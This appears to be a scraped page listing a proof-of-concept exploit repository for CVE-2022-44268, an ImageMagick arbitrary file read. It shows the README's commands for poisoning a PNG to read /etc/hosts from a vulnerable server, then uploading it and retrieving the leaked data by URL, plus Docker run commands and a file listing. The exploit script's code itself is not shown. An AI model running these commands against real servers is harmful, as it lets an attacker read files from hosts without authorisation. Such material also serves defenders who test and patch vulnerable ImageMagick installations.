CVE-2022-44268 PoC — ImageMagick 安全漏洞

Source

Associated Vulnerability

Readme

# CVE-2022-44268 🧙‍♂️

CVE-2022-44268 ImageMagick Arbitrary File Read




## Usage 🛠 

Poison the image ☣️
```
python3 CVE-2022-44268.py --image imagetopoison.png --file-to-read /etc/hosts --output poisoned.png
```
```
Upload poisoned PNG image.
```
Check if exploit was successful 🗡
```
python3 CVE-2022-44268.py --url http://vulnerable-imagemagick.com/uploads/vulnerable.png
```

## Running from Docker :whale:

Build
```
docker build -t cve-2022-44268 .
```

Run
```
docker run -v $(pwd)/data:/data -ti cve-2022-44268 --image /data/random.png --file-to-read "/etc/hosts" --output /data/poisoned.png
```

## Parameters 🧰 

Parameter | Description | Type
------------ | ------------- | -------------
--url | The URL of the uploaded PNG image | String
--image | Input PNG file | File
--output | Output PNG file | File
--file-to-read | File to read from vulnerable host | String

File Snapshot

 [4.0K]  /data/pocs/65bdc37a83e590564fea86b6295de83cf8382b0f
├── [1.7K]  CVE-2022-44268.py
├── [ 232]  Dockerfile
├── [176K]  hacker-11556285986csgolbp9v6.png
├── [ 900]  README.md
└── [  47]  requirements.txt

0 directories, 5 files

Remarks